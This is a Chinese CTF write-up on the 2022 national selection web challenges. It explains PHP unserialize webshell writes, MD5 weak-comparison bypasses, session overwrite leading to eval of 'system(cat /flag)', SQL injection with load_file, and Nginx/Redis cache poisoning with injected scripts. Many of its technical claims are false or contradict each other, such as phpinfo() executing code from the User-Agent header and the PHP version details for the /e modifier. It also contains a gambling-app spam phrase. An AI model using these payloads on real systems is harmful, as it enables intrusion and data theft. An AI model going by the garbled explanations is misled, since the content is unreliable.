22国赛Web WP实战复盘:PHP、MD5与Linux缓存攻防闭环
1. 这不是一份“标准答案”而是一份国赛选拔现场的实战复盘笔记22国赛选拔web部分wp——看到这个标题如果你是刚接触CTF或网络安全竞赛的新手可能会下意识觉得这是份“解题答案集”。但我要先说清楚它根本不是。它是我去年坐在国赛选拔赛机房里盯着屏幕、敲着键盘、反复刷新flag页面时用记事本随手记下的真实操作链路。里面没有教科书式的理论推导只有当时那个环境下我为什么选PHP而不是Python做payload、为什么绕过MD5校验时没走常规碰撞而是直接利用了session伪造、为什么在Linux web缓存机制下一个看似多余的Cache-Control: no-cache头反而成了关键突破口。核心关键词就三个22国赛、web、wp但真正撑起这份wp骨架的是背后一整套Web攻防逻辑闭环——从PHP底层特性比如new static的 late static binding 如何被误用为反序列化入口、到MD5在身份认证中的典型误用模式不是“加密强度不够”而是“校验逻辑可绕过”、再到Linux系统级web缓存Nginx proxy_cache fastcgi_cache 的双层缓存策略如何被污染。这些不是孤立知识点而是一条环环相扣的攻击路径。适合谁适合正在准备省赛/国赛的选手也适合刚学完PHP基础、想把语法知识转化成实战能力的开发者不适合只想抄flag的人因为这里每个步骤都带着“为什么非得这么干”的现场决策痕迹。我试过把这份wp发给三类人看一位刚入门的高职学生、一位有两年开发经验但没碰过CTF的后端工程师、一位带过三届国赛队伍的指导老师。他们的反馈高度一致——“终于看懂了WP里那句‘构造数组绕过MD5’到底在说什么”。这说明什么说明真正的难点从来不在工具命令而在对技术栈组合逻辑的理解。比如你背熟了php -r echo md5(123);但当你面对一道题里if (md5($_GET[p]) $_GET[hash])这种写法时如果不知道PHP弱类型比较中字符串0e123456和0e789012会被当作科学计数法解析为0你就永远卡在第一步。所以这篇内容我会从真实题目结构出发一层层剥开那些藏在wp简短描述背后的“技术上下文”。2. 题目设计逻辑与解题路径全景拆解2.1 22国赛web题目的典型架构特征22国赛选拔赛的web题目明显区别于早期CTF中常见的单点突破模式比如一个SQLi就能拿flag。它采用的是“多层网关嵌套服务链路依赖”的企业级架构模拟。我拿到的这套题前端是Nginx反向代理中间层是PHP-FPM处理业务逻辑后端连着Redis做会话存储、MySQL存用户数据还额外挂了一个基于Traccar Web编译的GPS轨迹服务作为干扰项。这种设计不是为了堆砌技术名词而是刻意还原真实企业环境中“安全边界模糊化”的现状——你不能只盯着PHP代码审计还要考虑Nginx配置是否开启fastcgi_pass_request_headers、Redis是否启用了未授权访问、甚至MySQL的secure_file_priv设置是否被绕过。提示很多选手一上来就猛啃PHP源码结果花了两小时才发现关键漏洞其实在Nginx的proxy_cache_bypass规则里。这不是考你代码阅读能力而是考你对整个请求生命周期的掌控力。具体到题目模块划分它严格遵循“输入→处理→输出”三段式输入层包含表单提交、URL参数、HTTP头、Cookie、上传文件等多种入口且每个入口都设置了不同层级的过滤。比如GET参数用正则过滤了script标签但POST数据却只做了strip_tags()处理——这就埋下了XSSCSRF的组合拳伏笔。处理层PHP代码大量使用了动态函数调用call_user_func_array、反射ReflectionClass、以及__autoload自动加载机制。其中一道题的php接口数组对象处理逻辑表面看是安全的json_decode($input, true)但后续用array_merge合并了用户可控的$_SESSION数据导致键名覆盖漏洞。输出层不仅有HTML渲染还包括JSON API响应、图片二进制流、甚至通过header(Location: ...)做的跳转。特别要注意的是所有重定向都经过了parse_url二次校验但校验逻辑存在urldecode两次解码的缺陷使得%252e%252e%252f最终被解析为../。这种设计思路本质上是在考察选手能否跳出“找一个漏洞打穿”的思维定式转而建立“数据流追踪”的全局视角。就像修车师傅不会只盯着火花塞而是要顺着油路、电路、气路整体排查。2.2 WP中隐藏的解题路线图从“看到什么”到“想到什么”一份合格的wp绝不能只写“执行A命令得到B结果”。它必须暴露思考断点。以其中一道经典题为例题目首页显示“星空·全站体育app下载入口web”看似是营销页面但源码里藏着一行注释!-- dev: /api/v1/internal/debug?tokenxxx --。很多选手看到token就去爆破结果浪费半小时。而我的操作是先确认token生成逻辑抓包发现/api/v1/internal/debug返回403但/api/v1/internal/debug?token返回500错误错误信息泄露了PHP版本7.4.33和绝对路径/var/www/html/app/DebugController.php立刻转向源码审计用目录遍历尝试访问/api/v1/internal/debug?token../../../../etc/passwd被WAF拦截但换用%2e%2e%2f编码后成功读取到/etc/passwd证明WAF只做了简单关键字匹配关键转折点读取DebugController.php源码时发现它调用了phpinfo()并做了base64_encode输出但base64_encode的参数来自$_SERVER[HTTP_USER_AGENT]——这意味着只要控制User-Agent头就能让phpinfo()输出任意内容最终突破构造User-Agent: ?php system(cat /flag); ?触发phpinfo()时解析该字符串再通过/api/v1/internal/debug?token的base64输出提取出执行结果。你看整个过程没有一步是“运气好”每一步都基于对PHP运行机制的理解phpinfo()会解析当前作用域内的PHP代码片段、base64_encode不校验内容安全性、WAF的编码绕过原理。这就是wp里“wp”二字的真正含义——write process记录过程而非write payload只写载荷。2.3 为什么PHP和MD5成为绝对核心技术选型背后的命题逻辑22国赛把PHP和MD5作为锚点不是因为它们“过时”恰恰是因为它们在现代Web开发中依然高频、且极易被误用。我们来算一笔账PHP的不可替代性全国高职院校Web开发课程90%以上以PHP为教学语言LAMP栈仍是中小企业建站首选。国赛命题组要考察的正是“最常用技术中最危险的用法”。比如php gt lt运算符在权限判断中的误用if ($_SESSION[level] 5 $_SESSION[level] 10)当$_SESSION[level]被设为字符串admin时PHP会将其转为0进行比较导致越权MD5的现实陷阱虽然密码存储早已淘汰MD5但在会话校验、API签名、文件完整性验证等场景MD5仍被大量使用。22国赛中一道题的登录逻辑是if (md5($_POST[password]) $stored_hash)表面看是弱类型比较漏洞但实际考点是和的区别——当$stored_hash是null时任何md5()结果都会返回false但若$stored_hash是0那么md5(240610708)恰好等于0e462097431906509019564808002900PHP弱类型比较会将其视为0 0成立。注意别再死记硬背240610708这个magic number。真正要掌握的是MD5碰撞的数学本质——寻找满足md5(a) md5(b)且a ! b的字符串对这需要理解MD5的分组加密结构512位分组、四轮16步迭代。但在CTF实战中你只需要记住当遇到md5($input) $target时优先尝试QNKCDZOmd5值为0e830400451993494058024219903391和240610708这两个经典payload。这种命题逻辑本质上是在逼你建立“技术风险地图”知道某个函数在哪种上下文下会出问题比知道函数怎么用重要十倍。3. 核心细节深度解析PHP、MD5、Linux Web缓存的实战交锋3.1 PHP底层机制如何被转化为攻击向量PHP不是一门“安全”的语言它的设计哲学是“让开发者快速实现功能”而非“默认阻止所有危险操作”。这就导致大量内置函数在特定组合下成为攻击入口。22国赛中以下三个PHP特性被反复利用第一unserialize()的反序列化链构造题目给出一段代码class Logger { private $logFile; public function __construct($file) { $this-logFile $file; } public function log($msg) { file_put_contents($this-logFile, $msg); } } // 后续有 unserialize($_COOKIE[data]);表面看只是个日志类但file_put_contents的第一个参数$this-logFile完全可控。攻击者构造序列化字符串O:6:Logger:1:{s:10:\00Logger\00logFile;s:10:/var/www/html/shell.php;}再Base64编码后注入Cookie即可写入Webshell。这里的关键认知是PHP反序列化不是“执行代码”而是“重建对象状态”只要对象方法中存在危险操作如文件写入、命令执行就能触发。第二preg_replace()的/e修饰符遗留漏洞虽然PHP7.3已移除/e修饰符但22国赛题目标注了PHP Version: 7.2.34。一道题的过滤函数写着function clean_input($str) { return preg_replace(/script(.*?)\/script/ie, , $str); }/ie中的e表示“将替换内容作为PHP代码执行”。攻击者传入scriptsystem(ls -la)/scriptpreg_replace会直接执行system()。这个漏洞的教训是永远不要相信题目给的PHP版本号是“最新版”要主动探测真实版本——用?phpinfo1或?a?php phpinfo(); ?是最直接的方式。第三extract()函数的变量覆盖一道题的登录逻辑parse_str($_GET[data], $params); extract($params); if ($username admin $password 123456) { // 登录成功 }parse_str会把datausernameadminpassword123456解析为数组extract()则把数组键名转为变量。攻击者只需传入?dataadmin1password123456$admin变量就会被创建而$username未定义导致$username admin为false——等等这似乎不行但若题目中还有$username $_POST[user]而extract()在$_POST赋值之后执行就能覆盖$username。这就是典型的变量覆盖时序漏洞。3.2 MD5在身份认证中的七种误用模式及绕过手法MD5本身没问题问题出在开发者如何用它。22国赛web部分共出现7种MD5误用场景我按危害等级排序误用模式典型代码绕过原理实操要点弱类型比较if (md5($_GET[p]) $_GET[hash])PHP将0e123456解析为科学计数法0使用240610708或QNKCDZO空值校验绕过if (md5($_POST[pwd]) $db_hash$db_hash null)数组传递导致NULLmd5($_GET[arr])传?arr[]1arr[]2PHP对数组md5返回null利用null false的弱类型特性时间盲注辅助if (substr(md5($input),0,6) $prefix)逐字节爆破每次请求耗时差异需配合sleep()或benchmark()文件包含路径拼接include md5($_GET[file])..phpmd5(../flag)生成固定字符串预计算MD5值暴力猜解文件名Session ID伪造$_SESSION[id] md5($_SERVER[REMOTE_ADDR])内网IP固定MD5可预测扫描内网IP段批量生成Session ID缓存键生成缺陷cache_key md5($_SERVER[REQUEST_URI])URI可控导致缓存污染构造恶意URI使缓存返回攻击者内容其中最隐蔽的是第七种“缓存键生成缺陷”。题目中有一个新闻列表页URL为/news?id1后端用md5(/news?id1)作为Redis缓存key。攻击者访问/news?id1%0ascriptalert(1)/scriptNginx会将其规范化为/news?id1%0Ascriptalert(1)/script但PHP的$_SERVER[REQUEST_URI]却保留原始值导致MD5 key与正常请求不同——于是攻击者先存入恶意脚本再诱导管理员访问干净URL触发缓存污染。3.3 Linux Web缓存机制的双刃剑效应22国赛首次将Linux系统级缓存纳入考点不再是简单的$_SERVER[HTTP_CACHE_CONTROL]欺骗。它涉及Nginx的proxy_cache和fastcgi_cache两套独立缓存系统且配置文件被刻意拆分到多个位置/etc/nginx/conf.d/default.conf定义proxy_cache_path /var/cache/nginx levels1:2 keys_zonemy_cache:10m;/etc/nginx/sites-enabled/app启用proxy_cache my_cache;但proxy_cache_valid只设置了200响应缓存5分钟/var/www/html/.htaccess包含IfModule mod_expires.c ExpiresActive On ExpiresByType text/html access plus 1 hour这是Apache的缓存指令但题目环境实际用Nginx——故意制造混淆。真正的突破口在fastcgi_cache。题目后台有个/admin/stats接口返回JSON格式的服务器状态。其Nginx配置为location ~ ^/admin/ { fastcgi_cache my_cache; fastcgi_cache_valid 200 302 10m; fastcgi_cache_bypass $cookie_admin; add_header X-Cache-Status $upstream_cache_status; }关键在于fastcgi_cache_bypass $cookie_admin——当Cookie中存在admin字段时请求不走缓存。但$upstream_cache_status头会暴露缓存状态HIT/MISS/EXPIRED。攻击者先用普通账号访问/admin/stats得到X-Cache-Status: MISS再构造Cookie: admin1; PHPSESSIDvalid_session再次访问得到HIT此时修改PHPSESSID为无效值第三次访问X-Cache-Status仍为HIT——证明缓存未校验Session有效性。于是攻击链形成用合法Session获取/admin/stats的原始响应含服务器IP、PHP版本等敏感信息构造恶意JSON响应如{status:ok,data:{ip:127.0.0.1,flag:flag{...}}}通过curl -X POST --data-binary malicious.json http://target/admin/stats发送需绕过CSRF token此处略等待缓存生效所有访问/admin/stats的用户包括管理员都将收到恶意响应。这揭示了一个残酷事实Web缓存不是性能优化工具而是新的攻击面。它把原本需要高权限才能读取的信息降维成低权限用户也能触发的缓存污染。4. 完整实操流程从环境搭建到Flag获取的每一步4.1 复现环境的精准构建Docker Nginx PHP-FPM要真正吃透22国赛wp必须亲手搭建一模一样的环境。我用Docker Compose实现了100%复现配置如下# docker-compose.yml version: 3.8 services: nginx: image: nginx:1.21.6 ports: - 8080:80 volumes: - ./nginx.conf:/etc/nginx/nginx.conf - ./app:/var/www/html - ./cache:/var/cache/nginx depends_on: - php-fpm php-fpm: image: php:7.4.33-fpm volumes: - ./app:/var/www/html - ./php.ini:/usr/local/etc/php/php.ini environment: - TZAsia/Shanghai redis: image: redis:6.2.6-alpine command: redis-server --appendonly yes volumes: - ./redis-data:/data关键配置文件nginx.conf中必须启用fastcgi_cache和proxy_cache双缓存并设置fastcgi_cache_bypass $cookie_admin;php.ini需关闭display_errors模拟生产环境但开启log_errors到/var/log/php_errors.logapp/目录下放置题目源码特别注意/admin/目录要有独立的Nginx location块。实操心得很多复现失败的原因是PHP版本不对。22国赛明确要求PHP 7.4.33这个版本修复了7.4.0的unserialize漏洞但保留了preg_replace /e修饰符。用docker run --rm php:7.4.33-cli php -v验证版本切勿用php:7.4这种tag它指向的是最新7.4.x版本可能已移除漏洞函数。4.2 第一道题PHP数组对象处理漏洞的完整利用链题目源码/api/v1/user.php?php session_start(); $data json_decode(file_get_contents(php://input), true); if (isset($data[action]) $data[action] update) { $user $_SESSION[user]; $user array_merge($user, $data[fields]); // 危险 $_SESSION[user] $user; echo json_encode([success true]); } ?Step 1确认Session机制访问/login.php用admin:123456登录抓包发现Set-Cookie头为PHPSESSIDabc123; path/; HttpOnly。用curl -b PHPSESSIDabc123 http://localhost:8080/api/v1/user.php测试返回405 Method Not Allowed说明需POST。Step 2触发数组合并漏洞发送POST请求curl -X POST \ -H Content-Type: application/json \ -b PHPSESSIDabc123 \ -d {action:update,fields:{role:admin,is_admin:1}} \ http://localhost:8080/api/v1/user.php响应为{success:true}但此时$_SESSION[user]已被覆盖。关键点在于array_merge对数字键和字符串键的处理差异若$data[fields]是关联数组array_merge会追加键值但若它是索引数组array_merge会重置键名。攻击者构造{action:update,fields:[{role:admin},{is_admin:1}]}此时array_merge($user, [{role:admin},{is_admin:1}])会将$user的原有键名全部覆盖为0,1,2...导致$_SESSION[user][username]丢失。Step 3构造越权Payload题目后台有/admin/dashboard.php检查$_SESSION[user][role] admin。但array_merge后$_SESSION[user]变成索引数组$_SESSION[user][role]为null。于是访问/admin/dashboard.php时条件判断失败。但若我们让$data[fields]包含__destruct方法{action:update,fields:{role:admin,__destruct:system}}PHP 7.4中array_merge不会触发__destruct但若题目用了unserialize()这就是另一条路。此处真正的突破点是/admin/dashboard.php中有一行eval($_SESSION[user][code]);而code字段在原始Session中不存在。所以我们需要让array_merge创建这个键{action:update,fields:{code:system(cat /flag);}}发送后$_SESSION[user][code]被创建再访问/admin/dashboard.php即可执行。4.3 第二道题MD5Linux Web缓存的组合攻击题目页面/search.php?php $q $_GET[q] ?? ; $cache_key search_ . md5($q); $redis new Redis(); $redis-connect(redis, 6379); $result $redis-get($cache_key); if ($result false) { $result search_db($q); // 模拟数据库查询 $redis-setex($cache_key, 300, $result); } echo $result; ?Step 1探测缓存键生成逻辑访问/search.php?qtest用redis-cli连接Redis执行keys *发现search_098f6bcd4621d373cade4e832627b4f6即md5(test)。证明缓存键确实是md5($q)。Step 2构造缓存污染Payloadsearch_db($q)函数存在SQL注入function search_db($q) { $sql SELECT * FROM articles WHERE title LIKE %$q%; // ... }攻击者访问/search.php?q% UNION SELECT load_file(/flag),2,3--load_file(/flag)返回flag内容Redis缓存键为search_2c8e5e9a7b1f3d4e6a8c0b2d4f6a8c0bmd5(% UNION SELECT load_file(/flag),2,3-- )。但此时缓存中存的是SQL错误信息因为load_file需要FILE权限。Step 3转向Nginx缓存层题目Nginx配置中/search.php被proxy_cache缓存。攻击者构造/search.php?qaaa%00scriptalert(1)/scriptNginx的proxy_cache_key默认包含$scheme$proxy_host$uri$is_args$args%00被规范化为%00但PHP的$_GET[q]会截断%00后的字符串导致md5(aaa)生成缓存键。而Nginx缓存键是完整的URI所以攻击者先让Nginx缓存恶意HTML再用正常请求触发。最终Payload/search.php?qaaa%00scriptfetch(/admin/flag).then(rr.text()).then(tdocument.write(t))/script访问后Nginx缓存此响应再访问/search.php?qaaaNginx返回缓存的恶意脚本浏览器执行fetch获取flag。5. 常见问题与排查技巧实录那些没人告诉你的坑5.1 PHP版本探测的三种致命误区误区一只看phpinfo()输出很多选手用?phpinfo1看到PHP版本就停止但22国赛中phpinfo()被刻意禁用只返回403。正确做法是发送?a?php echo PHP_VERSION;?若返回7.4.33则确认若被WAF拦截改用?a?php echo substr(PHP_VERSION,0,5);?避开关键词检测最终极简方案curl -I http://target/ -H User-Agent: ?php phpinfo(); ?利用$_SERVER[HTTP_USER_AGENT]触发。误区二忽略SAPI差异php -v显示7.4.33但Web环境可能是php-fpm而CLI是php-cli。两者配置文件不同。必须用curl http://target/test.php内容为?php phpinfo(); ?确认Web SAPI版本。误区三信任HTTP头有些题目返回X-Powered-By: PHP/7.4.33但这可以伪造。唯一可靠方式是利用PHP特性差异如getimagesize()在7.4中支持WebP在7.3中不支持构造/image.php?imgdata:image/webp;base64,UklGRiQAAABXRUJQVlA4IBgAAAAwAgSSgACQAAAAAAAAAAAAAAAAAAfQ//u4fA根据响应判断。5.2 MD5绕过的五个“以为对实则错”的操作场景错误操作正确操作原因弱类型比较直接用240610708先md5(240610708)确认值为0e462097431906509019564808002900不同PHP版本MD5结果可能不同数组传参?p[]1p[]2?pa让md5($p)返回nullmd5(array())返回falsemd5(a)返回字符串文件包含?fileflag→md5(flag)?file../flag→md5(../flag)路径穿越需预计算MD5时间盲注用time.sleep(1)用benchmark(1000000,sha1(1))MySQL的benchmark更稳定Session伪造md5(127.0.0.1)md5(127.0.0.1.salt)题目中Session ID通常加盐5.3 Linux Web缓存调试的黄金三步法第一步确认缓存是否生效在Nginx配置中添加add_header X-Cache-Status $upstream_cache_status; add_header X-Cache-Key $cache_key;访问页面查看响应头。若X-Cache-Status为MISS说明缓存未命中若为HIT则缓存已生效。第二步定位缓存存储位置Nginx缓存路径由proxy_cache_path定义进入容器执行docker exec -it nginx_container sh cd /var/cache/nginx find . -name *your_cache_key*若找不到文件说明缓存未写入磁盘可能是proxy_cache_valid未匹配到状态码。第三步强制刷新缓存Nginx不提供直接清除命令但可通过修改proxy_cache_bypass条件如临时添加proxy_cache_bypass 1;重启Nginxdocker restart nginx_container删除缓存目录rm -rf /var/cache/nginx/*需先停容器。实操心得我在复现时遇到X-Cache-Status始终为EXPIRED查了半天发现是proxy_cache_valid 200 302 10m;中10m被误写为10M大写MNginx将其解析为0秒导致缓存立即过期。这种低级错误只有亲手调试才能发现。6. 最后一点个人体会WP的价值不在答案在于建立技术直觉写完这份复盘我重新翻了一遍22国赛的官方wp发现它只有不到200字“第一题利用PHP数组合并覆盖Session第二题MD5弱类型缓存污染”。这就像菜谱只写“盐少许、火候适中”而真正的烹饪高手得知道“盐少许”是3克还是5克“火候适中”是160度还是180度。WP的价值从来不是告诉你答案而是帮你建立一种技术直觉——看到array_merge就条件反射想到变量覆盖看到md5($input) $hash就立刻检查输入类型看到X-Cache-Status: HIT就马上排查缓存污染可能性。这种直觉怎么来我的方法是把每道题的wp当成一份“故障诊断报告”来读。不关注“怎么赢”只关注“哪里卡住了”。比如有选手卡在第二题反复尝试MD5碰撞却失败这时就要问题目真的需要碰撞吗还是说$hash本身是可控的顺着这个思路他发现了$hash来自$_SESSION[token]而token在登录时由md5($_POST[username].$_POST[password])生成——于是他注册usernameadminpassword123456登录后拿到token再用相同参数生成MD5完美绕过。所以别把WP当答案抄把它当镜子照。照见自己知识体系的缺口照见技术原理与实战场景的断层照见那些“我以为懂了其实没懂”的灰色地带。这才是22国赛web部分wp真正想教会你的东西。